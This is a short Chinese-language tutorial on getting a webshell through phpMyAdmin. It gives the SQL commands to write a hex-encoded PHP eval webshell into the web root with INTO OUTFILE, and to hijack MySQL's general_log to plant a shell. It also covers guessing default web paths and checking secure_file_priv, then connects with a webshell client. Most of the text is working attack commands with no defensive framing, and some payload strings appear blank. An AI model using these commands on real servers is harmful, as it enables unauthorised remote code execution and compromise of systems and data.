phpmyadmin_getshell

1. select xx into outfile xx

select '' into outfile 'D:/phpStudy/www/xxx.php'; 

如果括号被过滤就用十六进制

select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile 'C:\wamp\www\webshell.php' ;

key:cmd
前提有三个:
a. 知道绝对路径
在没有搜集到其他信息的时候,可以猜默认路径

C:\wamp\www\webshell.php
D:\phpStudy\www\xxx.php
/var/www/html

b. 操作系统上的mysql用户对目录有写权限
c. mysql自身的secure_file_priv允许导入文件
可以查询
在这里插入图片描述

show global variables like '%secure%';

secure_file_priv NULL 表示不允许导入导出,在mysql下的my.ini文件中设置
为空则是不限制

  1. 开启记录日志,然后在起日志中写入一个shell
    a. show variables like '%general%';
    b. general_log on为开启
    如果为off,输入
set global general_log='on'

修改日志文件

SET GLOBAL general_log_file='C:/phpStudy/www/xxx.php'

然后输入一段shell,存进日志

SELECT ''

因为这段shell里带有分号;所以一定要用引号’'引起来
phpmyadmin_getshell_第1张图片
然后菜刀连上
phpmyadmin_getshell_第2张图片

你可能感兴趣的:(phpmyadmin_getshell)